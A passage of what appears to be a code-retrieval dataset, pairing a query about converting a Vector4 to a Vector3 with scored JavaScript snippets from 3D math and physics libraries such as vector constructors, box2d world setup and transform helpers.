"title": "" }, { "docid": "baa7ffe394fb45dd9c3b52575c5ef186", "score": "0.5517583", "text": "destroy() {\n // make sure the buffer is not redrawn during\n // cleanup and demolition of this plugin.\n this.paused = true;\n\n this.wavesurfer.un('backend-created', this._onBackendCreated);\n this.stop();\n }", "title": "" }, { "docid": "9df8f910338dc1e404d6676b6f0c074b", "score": "0.5511244", "text": "function b2World(gravity) {\n //b2BlockAllocator m_blockAllocator;\n //b2StackAllocator m_stackAllocator;\n this.m_flags = b2WorldFlag.e_clearForces;\n this.m_contactManager = new box2d.b2ContactManager();\n this.m_bodyList = null;\n this.m_jointList = null;\n this.m_bodyCount = 0;\n this.m_jointCount = 0;\n this.m_gravity = new box2d.b2Vec2();\n this.m_allowSleep = true;\n this.m_destructionListener = null;\n this.m_debugDraw = null;\n // This is used to compute the time step ratio to\n // support a variable time step.\n this.m_inv_dt0 = 0;\n // These are for debugging the solver.\n this.m_warmStarting = true;\n this.m_continuousPhysics = true;\n this.m_subStepping = false;\n this.m_stepComplete = true;\n this.m_profile = new box2d.b2Profile();\n this.m_island = new box2d.b2Island();\n this.s_stack = new Array();\n this.m_gravity = gravity.Clone();\n }", "title": "" }, { "docid": "13e8b6d40c5d500e5ab303d6cce400e6", "score": "0.5502903", "text": "destroy()\n {\n this.renderer = null;\n\n this._onContextChangeBinding.detach();\n this._onContextChangeBinding = null;\n }", "title": "" }, { "docid": "c5c0c8c435806a6d6170f67b3a5d25e5", "score": "0.5502877", "text": "clearBodies()\r\n\t{\r\n\t\t// Stop\r\n\t\tthis._simulation.stop();\r\n\t\t\r\n\t\t// Nodes\r\n\t\tif ( this._nodes !== null )\r\n\t\t{\r\n\t\t\tfor ( let i = ( this._nodes.length - 1 ); i >= 0; --i )\r\n\t\t\t{\r\n\t\t\t\tthis._nodes[i].clear();\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tthis._nodes = null;\r\n\t\t\tthis._nodesHash = null;\r\n\t\t\tthis.setNodeBodies( this._nodes );\r\n\t\t}\r\n\t\t\r\n\t\t// Edges\r\n\t\tif ( this._edges !== null )\r\n\t\t{\r\n\t\t\tthis._edges = null;\r\n\t\t\tthis._edgesHash = null;\r\n\t\t\tthis._simulation.force( \"link\" ).links( [] );\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "82251666bbfab88673f10e5f86b581c7", "score": "0.5494437", "text": "reset() {\n this.rayFromWorld.setZero();\n this.rayToWorld.setZero();\n this.hitNormalWorld.setZero();\n this.hitPointWorld.setZero();\n this.hasHit = false;\n this.shape = null;\n this.body = null;\n this.hitFaceIndex = -1;\n this.distance = -1;\n this.shouldStop = false;\n }", "title": "" }, { "docid": "82251666bbfab88673f10e5f86b581c7", "score": "0.5494437", "text": "reset() {\n this.rayFromWorld.setZero();\n this.rayToWorld.setZero();\n this.hitNormalWorld.setZero();\n this.hitPointWorld.setZero();\n this.hasHit = false;\n this.shape = null;\n this.body = null;\n this.hitFaceIndex = -1;\n this.distance = -1;\n this.shouldStop = false;\n }", "title": "" } ]
c4541832bbaf3a299a400e3a4e84e267
Returns a new Vector3 from the Vector4 (x, y, z) coordinates.
[ { "docid": "83fc039f73823c17ecbe1976c9b0e92d", "score": "0.7189016", "text": "toVector3() {\r\n\t return new vector3_1.Vector3(this.x, this.y, this.z);\r\n\t }", "title": "" } ]
[ { "docid": "c47b9a660a766247556e91dfd1a27f6b", "score": "0.7724731", "text": "function v(x,y,z){\n return new THREE.Vector3(x,y,z);\n }", "title": "" }, { "docid": "f05c1ce5be8d1d223cce5bcdfa756fa7", "score": "0.7667811", "text": "function v(x, y, z) {\n return new THREE.Vector3(x, y, z);\n }", "title": "" }, { "docid": "387e7a6ab962cb5d71bb4f8be0619acd", "score": "0.7634779", "text": "function v(x,y,z){\r\n return new THREE.Vector3(x,y,z);\r\n }", "title": "" }, { "docid": "a29cce81ba147636cfb11fcfd38f6fe5", "score": "0.7594236", "text": "function newVector3(x, y, z, v) {\n if (v === undefined) {\n return { x, y, z };\n }\n v.x = x;\n v.y = y;\n v.z = z;\n return v;\n }", "title": "" }, { "docid": "ce1762182b0b7c8c8febb67a070bdf9f", "score": "0.7504324", "text": "toVector3() {\n return new Vector3(this.x, this.y, this.z);\n }", "title": "" }, { "docid": "c4b3938be7afc6b5b088332b12181f9b", "score": "0.741171", "text": "function Vector4(\n /** x value of the vector */\n x, \n /** y value of the vector */\n y, \n /** z value of the vector */\n z, \n /** w value of the vector */\n w) {\n this.x = x;\n this.y = y;\n this.z = z;\n this.w = w;\n }", "title": "" }, { "docid": "f32eb719eb3f4232dbb5dc5dc2edfedf", "score": "0.7374714", "text": "function Vector4(x, y, z, w) {\n this.x = x;\n this.y = y;\n this.z = z;\n this.w = w;\n this.checkValues();\n}", "title": "" }, { "docid": "70d7cf8054b58940028570f509996939", "score": "0.71078885", "text": "function Vector4() {\n var x = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;\n var y = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;\n var z = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 0;\n var w = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : 0;\n\n _classCallCheck(this, Vector4);\n\n var _this = _possibleConstructorReturn(this, (Vector4.__proto__ || Object.getPrototypeOf(Vector4)).call(this));\n\n if (Array.isArray(x) && arguments.length === 1) {\n _this.copy(x);\n } else {\n _this.set(x, y, z, w);\n }\n return _this;\n }", "title": "" }, { "docid": "7d78e9d97ad598c1716916a1291c0119", "score": "0.70791954", "text": "static FromVector3(source, w = 0) {\n return new Vector4(source._x, source._y, source._z, w);\n }", "title": "" }, { "docid": "ed250cf5efd9fbf527a4fbe78ddfa18a", "score": "0.70654494", "text": "function Vector3(x, y, z) {\n\tthis.x = x;\n\tthis.y = y;\n\tthis.z = z;\n}", "title": "" }, { "docid": "c418004c724e9174249c97d502202c37", "score": "0.7051464", "text": "function vectorE3(x, y, z) {\n return new blade.Euclidean3(0, x, y, z, 0, 0, 0, 0);\n }", "title": "" }, { "docid": "f654cce28c5a23fc27e8a9e19de9062b", "score": "0.7016659", "text": "function Vec3(x, y, z) {\n this.x = x;\n this.y = y;\n this.z = z; \n }", "title": "" }, { "docid": "f5dbed43c69617429a805bf740b25557", "score": "0.70135224", "text": "function F3dVector(x,y,z){\r\n var SF3dVector = {\r\n x: x,\r\n y: y,\r\n z: z\r\n };\r\n\r\n return SF3dVector;\r\n}", "title": "" }, { "docid": "db07fbeb85676d776f16eeb3fcae61cc", "score": "0.6884937", "text": "createFromVector3(vector) {\n const cy = Math.cos(vector.z * 0.5);\n const sy = Math.sin(vector.z * 0.5);\n const cp = Math.cos(vector.y * 0.5);\n const sp = Math.sin(vector.y * 0.5);\n const cr = Math.cos(vector.x * 0.5);\n const sr = Math.sin(vector.x * 0.5);\n\n const w = cy * cp * cr + sy * sp * sr;\n const x = cy * cp * sr - sy * sp * cr;\n const y = sy * cp * sr + cy * sp * cr;\n const z = sy * cp * cr - cy * sp * sr;\n return new Quaternion(w,x,y,z);\n }", "title": "" }, { "docid": "579cfd4ca4c5377f1d5ca53136270f3c", "score": "0.68345433", "text": "function Vector3(x, y, z) {\n if (x === void 0) { x = 0; }\n if (y === void 0) { y = 0; }\n if (z === void 0) { z = 0; }\n this.m_x = x;\n this.m_y = y;\n this.m_z = z;\n }", "title": "" }, { "docid": "d87d376324cbd8029cd756bdf3226638", "score": "0.68300027", "text": "function Vector3(\n /**\n * Defines the first coordinates (on X axis)\n */\n x, \n /**\n * Defines the second coordinates (on Y axis)\n */\n y, \n /**\n * Defines the third coordinates (on Z axis)\n */\n z) {\n if (x === void 0) { x = 0; }\n if (y === void 0) { y = 0; }\n if (z === void 0) { z = 0; }\n this.x = x;\n this.y = y;\n this.z = z;\n }", "title": "" }, { "docid": "6f6a120b8983e8313ae6754a016ffe24", "score": "0.6764201", "text": "function Vec3() {\n\tthis.x = 0.0;\n\tthis.y = 0.0;\n\tthis.z = 0.0;\n\tthis.toFloat32Array = function () {\n\t\treturn new Float32Array([this.x,this.y,this.z]);\n\t}\n\tthis.subtract = function ( b ){\n\t\tvar result = new Vec3();\n\t\tresult.x = this.x - b.x;\n\t\tresult.y = this.y - b.y;\n\t\tresult.z = this.z - b.z;\n\t\treturn result;\n\t}\n\tthis.cross = function ( b ){\n\t\tvar result = new Vec3();\n\t\tresult.x = this.y*b.z - this.z*b.y;\n\t\tresult.y = this.z*b.x - this.x*b.z;\n\t\tresult.z = this.x*b.y - this.y*b.x;\n\t\treturn result;\n\t}\n\tthis.normalize = function (){\n\t\tvar len = Math.sqrt(this.x*this.x + this.y*this.y + this.z*this.z);\n\t\tthis.x /= len;\n\t\tthis.y /= len;\n\t\tthis.z /= len;\n\t}\n}", "title": "" }, { "docid": "8049d591b1224934129b2e49e7f167cf", "score": "0.67409676", "text": "function v(x,y,z){\n return new THREE.Vertex(new THREE.Vector3(x,y,z));\n }", "title": "" }, { "docid": "0f58798b25735c86c8b988f889559b9f", "score": "0.6723712", "text": "static getPoint3D(x = 0, y = 0, z = 0) {\n if (Pool.sPoints3D.length === 0) return new Vector3D(x, y, z)\n else {\n const point = Pool.sPoints3D.pop()\n point.x = x\n point.y = y\n point.z = z\n return point\n }\n }", "title": "" }, { "docid": "43bba1a652a8cd15d6923f7c31649486", "score": "0.66550195", "text": "function Vector3() {\n var x = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;\n var y = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;\n var z = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 0;\n\n _classCallCheck(this, Vector3);\n\n var _this = _possibleConstructorReturn(this, (Vector3.__proto__ || Object.getPrototypeOf(Vector3)).call(this));\n\n if (Array.isArray(x) && arguments.length === 1) {\n _this.copy(x);\n } else {\n _this.set(x, y, z);\n }\n return _this;\n }", "title": "" }, { "docid": "43bba1a652a8cd15d6923f7c31649486", "score": "0.66550195", "text": "function Vector3() {\n var x = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;\n var y = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;\n var z = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 0;\n\n _classCallCheck(this, Vector3);\n\n var _this = _possibleConstructorReturn(this, (Vector3.__proto__ || Object.getPrototypeOf(Vector3)).call(this));\n\n if (Array.isArray(x) && arguments.length === 1) {\n _this.copy(x);\n } else {\n _this.set(x, y, z);\n }\n return _this;\n }", "title": "" }, { "docid": "2953dc88f6b6e9bbf2e1132f168e1410", "score": "0.6641641", "text": "function Vec3() {\n\tthis.x = 0.0;\n\tthis.y = 0.0;\n\tthis.z = 0.0;\n\tthis.toFloat32Array = function () {\n\t\treturn new Float32Array([this.x,this.y,this.z,1.0]);\n\t}\n\tthis.subtract = function ( b ){\n\t\tvar result = new Vec3();\n\t\tresult.x = this.x - b.x;\n\t\tresult.y = this.y - b.y;\n\t\tresult.z = this.z - b.z;\n\t\treturn result;\n\t}\n\tthis.cross = function ( b ){\n\t\tvar result = new Vec3();\n\t\tresult.x = this.y*b.z - this.z*b.y;\n\t\tresult.y = this.z*b.x - this.x*b.z;\n\t\tresult.z = this.x*b.y - this.y*b.x;\n\t\treturn result;\n\t}\n\tthis.normalize = function (){\n\t\tvar len = Math.sqrt(this.x*this.x + this.y*this.y + this.z*this.z);\n\t\tthis.x /= len;\n\t\tthis.y /= len;\n\t\tthis.z /= len;\n\t}\n\tthis.toStr = function (){\n\t\treturn \"[\"+this.x+\",\"+this.y+\",\"+this.z+\"]\";\n\t}\n}", "title": "" }, { "docid": "1705f3bff6cb127ce27257f77116ab18", "score": "0.6573695", "text": "function CVector3(v,r) {\n\tCVector.call(this,v,r,Vector3,\"xyz\");\n}", "title": "" }, { "docid": "76cd69c19b052c38c009ffda5bed851f", "score": "0.6553851", "text": "function Vec3() {\n switch ( arguments.length ) {\n case 1:\n // array or VecN argument\n var argument = arguments[0];\n this.x = argument.x || argument[0] || 0.0;\n this.y = argument.y || argument[1] || 0.0;\n this.z = argument.z || argument[2] || 0.0;\n break;\n case 3:\n // individual component arguments\n this.x = arguments[0];\n this.y = arguments[1];\n this.z = arguments[2];\n break;\n default:\n this.x = 0.0;\n this.y = 0.0;\n this.z = 0.0;\n break;\n }\n }", "title": "" }, { "docid": "a1c50364470f9e664be8e911f230ef62", "score": "0.6545405", "text": "function CVector4(v,r) {\n\tCVector.call(this,v,r,Vector4,\"xyzw\");\n}", "title": "" }, { "docid": "d2841a86703d94bf49386e196587339b", "score": "0.64607835", "text": "function getRandomVector3(x, y, z) {\r\n let rX = getRandom(x[0], x[1])\r\n let rY = getRandom(y[0], y[1])\r\n let rZ = getRandom(z[0], z[1])\r\n return new BABYLON.Vector3(rX, rY, rZ)\r\n}", "title": "" }, { "docid": "463bb3d797341186effe59afabd35ecf", "score": "0.64557076", "text": "function Vec3(x, y, z){\n this.x = x;\n this.y = y;\n this.z = z;\n\n this.len2 = function(){\n return dot(this, this);\n }\n this.len = function(){\n return Math.sqrt(this.len2());\n }\n\n this.scale = function(c){\n return new Vec3(c * this.x, c * this.y, c * this.z);\n }\n}", "title": "" }, { "docid": "6fd8bae9479b8385b182924e16344697", "score": "0.63770413", "text": "function vec3(/*[Vec2,float]*/ a, /*float*/ b, /*float*/ c){\n\treturn new Vec2(a, b, c);\n}", "title": "" }, { "docid": "226c4b4e48f6c27cba3aa1098c0454d3", "score": "0.63434535", "text": "clone() {\n return new Vector3(this._x, this._y, this._z);\n }", "title": "" }, { "docid": "fa79e90f55ace7e47dde4da5d169b895", "score": "0.6337737", "text": "function Vector (x, y, z) {\n this.x = x;\n this.y = y;\n this.z = z;\n }", "title": "" }, { "docid": "1989a6f8af93e8211f6e7e39f60c60a4", "score": "0.62887704", "text": "function bivectorE3(xy, yz, zx) {\n return new blade.Euclidean3(0, 0, 0, 0, xy, yz, zx, 0);\n }", "title": "" }, { "docid": "6148ba5c1dbfee4122569e3d35a812e6", "score": "0.62876594", "text": "subtractFromFloats(x, y, z, w) {\r\n\t return new Vector4(this.x - x, this.y - y, this.z - z, this.w - w);\r\n\t }", "title": "" }, { "docid": "6148ba5c1dbfee4122569e3d35a812e6", "score": "0.62876594", "text": "subtractFromFloats(x, y, z, w) {\r\n\t return new Vector4(this.x - x, this.y - y, this.z - z, this.w - w);\r\n\t }", "title": "" }, { "docid": "a22e1a5d74b88776970e4cdc25e9c280", "score": "0.6287547", "text": "function copyVector3(from, to) {\n to.x = from.x;\n to.y = from.y;\n to.z = from.z;\n return to;\n }", "title": "" }, { "docid": "1afe398dbb870877a8b2825b2c5e5a2f", "score": "0.62769413", "text": "subtractFromFloats(x, y, z, w) {\n return new Vector4(this.x - x, this.y - y, this.z - z, this.w - w);\n }", "title": "" }, { "docid": "0fd4f3b1b874efcb6c221ae1c3c8dcbf", "score": "0.6228565", "text": "Copy() { let v = new Vec3(this.x, this.y); return v; }", "title": "" }, { "docid": "b5e1345b59853b7749c0a329a185975c", "score": "0.619528", "text": "function extract_vec3(array, position) {\n var offset = position*3;\n var x = array[offset];\n var y = array[offset+1];\n var z = array[offset+2];\n\n return [x,y,z];\n}", "title": "" }, { "docid": "28874cba8407b3cb3fc31efb207eb1a6", "score": "0.61263055", "text": "getVertices() {\n\n const {\n x,\n y,\n z\n } = this.pos;\n\n let v1 = new Pos3D(x, y, z);\n let v2 = new Pos3D(x + 1, y, z);\n let v3 = new Pos3D(x + 1, y, z + 1);\n let v4 = new Pos3D(x, y, z + 1);\n\n return new Plane(v1, v2, v3, v4);\n\n }", "title": "" }, { "docid": "efb97d2c2e6dd826903204195915b770", "score": "0.61044896", "text": "function Vector(x, y, z) {\n this.x = x || 0;\n this.y = y || 0;\n this.z = z || 0;\n}", "title": "" }, { "docid": "e47f1a6681c8ec6823a2f24e85656451", "score": "0.6085355", "text": "subtractFromFloats(x, y, z) {\n return new Vector3(this._x - x, this._y - y, this._z - z);\n }", "title": "" }, { "docid": "57aa0129413c2afd56648a124543134a", "score": "0.60691154", "text": "clone() {\n return new Vector4(this.x, this.y, this.z, this.w);\n }", "title": "" }, { "docid": "0617ea9d8a2d6de20c1074881cc99388", "score": "0.6065307", "text": "function cocos2AmmoVec3(out, v) {\n out.setValue(v.x, v.y, v.z);\n return out;\n}", "title": "" }, { "docid": "f16f4a06d03c71905eeb6e5843e645d0", "score": "0.5995909", "text": "function Vector3(coords, modified) {\n if (coords === void 0) { coords = [0, 0, 0]; }\n if (modified === void 0) { modified = false; }\n this.coords_ = coords;\n this.modified_ = modified;\n }", "title": "" }, { "docid": "73f2c3b7ab928724244c9fa0c9d5ecd2", "score": "0.5993675", "text": "constructor(\n /** x value of the vector */\n x, \n /** y value of the vector */\n y, \n /** z value of the vector */\n z, \n /** w value of the vector */\n w) {\n this.x = x;\n this.y = y;\n this.z = z;\n this.w = w;\n }", "title": "" }, { "docid": "f8a0d0defb693085ea62c23efcd91e90", "score": "0.5958601", "text": "function o2vec3(p) {\n \"use strict\";\n return vec(p[0], p[1], p[2])\n}", "title": "" }, { "docid": "ac0e8efcc2f9fb54772c1cbf859875a6", "score": "0.590906", "text": "getTeleportedPositionalVector(v) {\n let f = new THREE.Matrix4().makeScale(-1, -1, 1)\n let m = this.CDBB.inverse_t.clone().premultiply(f).premultiply(this.output.CDBB.t)\n let v4 = util.threeToFour(v).applyMatrix4(m)\n return util.fourToThree(v4)\n }", "title": "" }, { "docid": "6bbd72781306807af9a27df03c208e62", "score": "0.58776426", "text": "setVector4(uniformName, vector4) {\n this.setFloat4(uniformName, vector4.x, vector4.y, vector4.z, vector4.w);\n }", "title": "" }, { "docid": "2a07cbcaee7a3538f03e55801265726c", "score": "0.58618", "text": "crossProduct(v1) {\n if (v1 instanceof Vector3D) {\n let vr = new Vector3D;\n vr._vector[0] = this._vector[1] * v1._vector[2] - this._vector[2] * v1._vector[1];\n vr._vector[1] = this._vector[2] * v1._vector[0] - this._vector[0] * v1._vector[2];\n vr._vector[2] = this._vector[0] * v1._vector[1] - this._vector[1] * v1._vector[0];\n return vr;\n }\n }", "title": "" }, { "docid": "3a74e2571ca263cba690b55dcb4ff96e", "score": "0.5859006", "text": "constructor(a, b, c, d) {\n this.normal = new Vector3(a, b, c);\n this.d = d;\n }", "title": "" }, { "docid": "2a6a318c5ba689e957fb1e22415ee0b0", "score": "0.5839421", "text": "function translation(x, y, z) {\n return new THREE.Matrix4().set(1, 0, 0, x, 0, 1, 0, y, 0, 0, 1, z, 0, 0, 0, 1);\n}", "title": "" }, { "docid": "4cd6f33e0f7855392da55837aaf03606", "score": "0.5832377", "text": "clone() {\r\n\t return new Vector4(this.x, this.y, this.z, this.w);\r\n\t }", "title": "" }, { "docid": "4cd6f33e0f7855392da55837aaf03606", "score": "0.5832377", "text": "clone() {\r\n\t return new Vector4(this.x, this.y, this.z, this.w);\r\n\t }", "title": "" }, { "docid": "9b75242069376c9d6eae2a45930f0c07", "score": "0.58319396", "text": "set position3D(vector3) {\n const [x, y, z] = vector3;\n this._mesh.setMatrixAt(this._id, Game.getXYZMatrix(x, y, z))\n }", "title": "" }, { "docid": "db9fadd7158e61d9ae4d48b004d7b231", "score": "0.58313453", "text": "function ParseVector3String (input : String) : Vector3\n{\n var stringArray = input.Substring (1, input.Length-2).Split ([\")(\"], System.StringSplitOptions.RemoveEmptyEntries);\n var v3Array : Vector3;\n for (var i = 0; i < stringArray.Length; i++)\n {\n var numbers = stringArray[i].Split(\",\"[0]);\n v3Array = Vector3(parseFloat(numbers[0]), parseFloat(numbers[1]), parseFloat(numbers[2]));\n }\n return v3Array;\n }", "title": "" }, { "docid": "8ee17ffeaf2c02ebdfc685040a659c61", "score": "0.58114994", "text": "function latLongToVector3(lat, lon, radius, height) {\n var phi = (lat) * Math.PI / 180;\n var theta = (lon - 180) * Math.PI / 180;\n\n var x = -(radius + height) * Math.cos(phi) * Math.cos(theta);\n var y = (radius + height) * Math.sin(phi);\n var z = (radius + height) * Math.cos(phi) * Math.sin(theta);\n\n return new THREE.Vector3(x, y, z);\n}", "title": "" }, { "docid": "ecd0033f0092bd9182d3829d27826133", "score": "0.5795546", "text": "function transform_vec3(vec, tsr, dest) {\n\n var tx = tsr[0];\n var ty = tsr[1];\n var tz = tsr[2];\n var scale = tsr[3];\n var qx = tsr[4];\n var qy = tsr[5];\n var qz = tsr[6];\n var qw = tsr[7];\n\n // scale and rotate\n var x = vec[0] * scale;\n var y = vec[1] * scale;\n var z = vec[2] * scale;\n\n // quat * vec\n var ix = qw * x + qy * z - qz * y;\n var iy = qw * y + qz * x - qx * z;\n var iz = qw * z + qx * y - qy * x;\n var iw = -qx * x - qy * y - qz * z;\n\n // result * inverse quat\n dest[0] = ix * qw + iw * -qx + iy * -qz - iz * -qy;\n dest[1] = iy * qw + iw * -qy + iz * -qx - ix * -qz;\n dest[2] = iz * qw + iw * -qz + ix * -qy - iy * -qx;\n\n // translate\n dest[0] += tx;\n dest[1] += ty;\n dest[2] += tz;\n\n return dest;\n}", "title": "" }, { "docid": "542dcc9955b8771873273602e75f1735", "score": "0.57701504", "text": "addVector3(name, vector) {\n var temp = [vector.x, vector.y, vector.z];\n this.addUniform(name, temp);\n }", "title": "" }, { "docid": "42396fbcfe421084244697c0412a6275", "score": "0.57567716", "text": "function project3D(P, planeN) {\n var dist = planeN.dot(P);\n return new Vertex(P.x - dist*planeN.x, P.y - dist*planeN.y, P.z - dist*planeN.z);\n}", "title": "" }, { "docid": "42396fbcfe421084244697c0412a6275", "score": "0.57567716", "text": "function project3D(P, planeN) {\n var dist = planeN.dot(P);\n return new Vertex(P.x - dist*planeN.x, P.y - dist*planeN.y, P.z - dist*planeN.z);\n}", "title": "" }, { "docid": "be8b34bdfcf45c39a54271b433b59a81", "score": "0.57547075", "text": "normalisatie3(){\n const norm = Math.sqrt(this.x**2 + this.y**2 + this.z**2);\n return (this.x/norm + this.y/norm + this.z/norm);\n }", "title": "" }, { "docid": "7747e17a1705fde1a0be10307be3d42e", "score": "0.5743445", "text": "function adjustPositionVector(v : Vector3){\n\tvar res : Vector3;\n\tres.x = Mathf.RoundToInt(v.x/0.5) * 0.5;\n\tres.y = Mathf.RoundToInt(v.y/0.5) * 0.5;\n\tres.z = Mathf.RoundToInt(v.z/0.5) * 0.5;\n\treturn res;\n}", "title": "" }, { "docid": "87cf6bab52020a3a9da66fddd05043e7", "score": "0.5723347", "text": "function Vector(x,y,z) {\n\tthis.x = x;\n\tthis.y = y;\n\tthis.z = z;\n\n\tthis.add = function(v) {\n\t\treturn new Vector(this.x + v.x,\n\t\t\t\t\t\t this.y + v.y,\n\t\t\t\t\t\t this.z + v.z);\n\t}\n\n\tthis.subtract = function(v) {\n\t\treturn this.add(v.multiply(-1));\n\t}\n\n\tthis.multiply = function(scalar) {\n\t\treturn new Vector(this.x * scalar,\n\t\t\t\t\t\t this.y * scalar,\n\t\t\t\t\t\t this.z * scalar);\n\t}\n\n\tthis.divide = function(scalar) {\n\t\treturn this.multiply(1.0/scalar);\n\t}\n\n\tthis.distance = function(v) {\n\t\tvar d = this.subtract(v);\n\t\treturn Math.sqrt(d.x*d.x + d.y*d.y);// + d.z*d.z);\n\t}\n\n\tthis.magnitude = function() {\n\t\treturn Math.abs((new Vector(0,0,0)).distance(this));\n\t}\n}", "title": "" }, { "docid": "b3c800cbe37508845e897988484ac3ba", "score": "0.572241", "text": "function set_uvw(x1,y1, z1, x2, y2, z2, x3, y3, z3) {\r\n u = createVector(x1,y1,z1);\r\n u.normalize();\r\n v = createVector(x2,y2,z2);\r\n v.normalize();\r\n w = createVector(x3,y3,z3);\r\n w.normalize();\r\n}", "title": "" }, { "docid": "0dbb00411d93aa3c9b8efb25f3179af0", "score": "0.57129854", "text": "function getVector(offset)\n\t{\n\t\tvar vect = {};\n\t\tvect.x = dataview.getFloat32(offset + 0, true);\n\t\tvect.y = dataview.getFloat32(offset + 4, true);\n\t\tvect.z = dataview.getFloat32(offset + 8, true);\n\t\treturn vect;\n\t}", "title": "" }, { "docid": "436e8507f4fd76e8e3ec878990ea9030", "score": "0.5704006", "text": "getPlane(p1, p2, p3) {\n let v1 = new Vector3(p2.x, p2.y, p2.z); // = p2\n v1.sub(p1); // = p2 - p1\n let v2 = new Vector3(p2.x, p2.y, p2.z); // = p2\n v2.sub(p3); // = p2 - p3\n let n = new Vector3(v1.x, v1.y, v1.z);\n n = n.cross(v2);\n let d = p2.x * n.x + p2.y * n.y + p2.z * n.z;\n return { a: n.x, b: n.y, c: n.z, d: -d };\n }", "title": "" }, { "docid": "75f7eb5f17907f8e4de533723d54a45e", "score": "0.5699696", "text": "function latLongToVector3(lat, lon, height) {\n var radius = RADIUS;\n var phi = (lat)*Math.PI/180;\n var theta = (lon-180)*Math.PI/180;\n var x = -(radius+height) * Math.cos(phi) * Math.cos(theta);\n var y = (radius+height) * Math.sin(phi);\n var z = (radius+height) * Math.cos(phi) * Math.sin(theta);\n return new THREE.Vector3(x,y,z);\n}", "title": "" }, { "docid": "c133cf567c0948fdb8372779275d4687", "score": "0.56994617", "text": "static Project(vector, world, transform, viewport) {\n const result = new Vector3();\n Vector3.ProjectToRef(vector, world, transform, viewport, result);\n return result;\n }", "title": "" }, { "docid": "4e77d254ba87ce7bb2e5fc071862bbef", "score": "0.5698296", "text": "_spaceToIso(x, y, z) {\n\n // New XY position simply adds Z to X and Y.\n let isoX = x - z\n let isoY = y - z\n\n return {\n x: isoX,\n y: isoY,\n\n // Compute horizontal distance from origin.\n h: (isoX - isoY),\n\n // Compute vertical distance from origin.\n v: (isoX + isoY) / 2\n }\n }", "title": "" }, { "docid": "4a55f46018fa479846757e6e48abc2d2", "score": "0.56975555", "text": "function getCoordinates () {\n return { x: 10, y: 22, z: -1, type: '3d' };\n}", "title": "" }, { "docid": "041dd8bef441f10773b57dd940203021", "score": "0.5684913", "text": "function latLonToVector3(lat, lon) {\n var point = new THREE.Vector3(0, 0, 0),\n phi = _drawConfig.PI_HALF - lat * Math.PI / 180 - Math.PI * 0.01,\n theta = 2 * Math.PI - lon * Math.PI / 180 + Math.PI * 0.06,\n rad = 600;\n\n lon = lon + 10;\n lat = lat - 2;\n\n point.x = Math.sin(phi) * Math.cos(theta) * rad;\n point.y = Math.cos(phi) * rad;\n point.z = Math.sin(phi) * Math.sin(theta) * rad;\n\n return point;\n }", "title": "" }, { "docid": "5b9b326d274d9adbcfe1f0a968dd07fa", "score": "0.5676708", "text": "static TransformCoordinatesFromFloats(x, y, z, transformation, result) {\r\n\t result = result || new Vector3();\r\n\t var rx = (x * transformation.m[0]) + (y * transformation.m[4]) + (z * transformation.m[8]) + transformation.m[12];\r\n\t var ry = (x * transformation.m[1]) + (y * transformation.m[5]) + (z * transformation.m[9]) + transformation.m[13];\r\n\t var rz = (x * transformation.m[2]) + (y * transformation.m[6]) + (z * transformation.m[10]) + transformation.m[14];\r\n\t var rw = (x * transformation.m[3]) + (y * transformation.m[7]) + (z * transformation.m[11]) + transformation.m[15];\r\n\t result.x = rx / rw;\r\n\t result.y = ry / rw;\r\n\t result.z = rz / rw;\r\n\t return result;\r\n\t }", "title": "" }, { "docid": "5b9b326d274d9adbcfe1f0a968dd07fa", "score": "0.5676708", "text": "static TransformCoordinatesFromFloats(x, y, z, transformation, result) {\r\n\t result = result || new Vector3();\r\n\t var rx = (x * transformation.m[0]) + (y * transformation.m[4]) + (z * transformation.m[8]) + transformation.m[12];\r\n\t var ry = (x * transformation.m[1]) + (y * transformation.m[5]) + (z * transformation.m[9]) + transformation.m[13];\r\n\t var rz = (x * transformation.m[2]) + (y * transformation.m[6]) + (z * transformation.m[10]) + transformation.m[14];\r\n\t var rw = (x * transformation.m[3]) + (y * transformation.m[7]) + (z * transformation.m[11]) + transformation.m[15];\r\n\t result.x = rx / rw;\r\n\t result.y = ry / rw;\r\n\t result.z = rz / rw;\r\n\t return result;\r\n\t }", "title": "" }, { "docid": "8753d3929bd47f2c3ef6cf8d99c68924", "score": "0.5666359", "text": "function getCoordinates () {\n return { x: 10, y: 22, z: -1, type: '3d' }\n}", "title": "" }, { "docid": "93a328681d7ef20bda42be5e901df678", "score": "0.56614596", "text": "multiplyByFloats(x, y, z, w) {\r\n\t return new Vector4(this.x * x, this.y * y, this.z * z, this.w * w);\r\n\t }", "title": "" }, { "docid": "93a328681d7ef20bda42be5e901df678", "score": "0.56614596", "text": "multiplyByFloats(x, y, z, w) {\r\n\t return new Vector4(this.x * x, this.y * y, this.z * z, this.w * w);\r\n\t }", "title": "" }, { "docid": "c7fcb4af7ae6c1481d71ccb6a432ce73", "score": "0.5659733", "text": "function latLonTo3dSpace( lat, lon ) {\n lon = lon - 90;\n \n var phi = Math.PI/2 - lat * Math.PI / 180;\n var theta = 2 * Math.PI - lon * Math.PI / 180;\n\n var pos = new THREE.Vector3(); \n pos.x = Math.sin(phi) * Math.cos(theta) * RADIUS;\n pos.y = Math.cos(phi) * RADIUS;\n pos.z = Math.sin(phi) * Math.sin(theta) * RADIUS;\n \n return pos;\n}", "title": "" }, { "docid": "8bd860b17cca7a2abfd6ce11df6ab419", "score": "0.56243366", "text": "function rotation(x, y, z) {\n return new THREE.Matrix4().set(\n Math.cos(z) * Math.cos(y), -Math.sin(z) * Math.cos(x) + Math.cos(z) * Math.sin(y) * Math.sin(x), Math.sin(z) * Math.sin(x) + Math.cos(z) * Math.sin(y) * Math.cos(x), 0,\n Math.sin(z) * Math.cos(y), Math.cos(z) * Math.cos(x) + Math.sin(z) * Math.sin(y) * Math.sin(x), -Math.cos(z) * Math.sin(x) + Math.sin(z) * Math.sin(y) * Math.cos(x), 0,\n -Math.sin(y), Math.cos(y) * Math.sin(x), Math.cos(y) * Math.cos(x), 0,\n 0, 0, 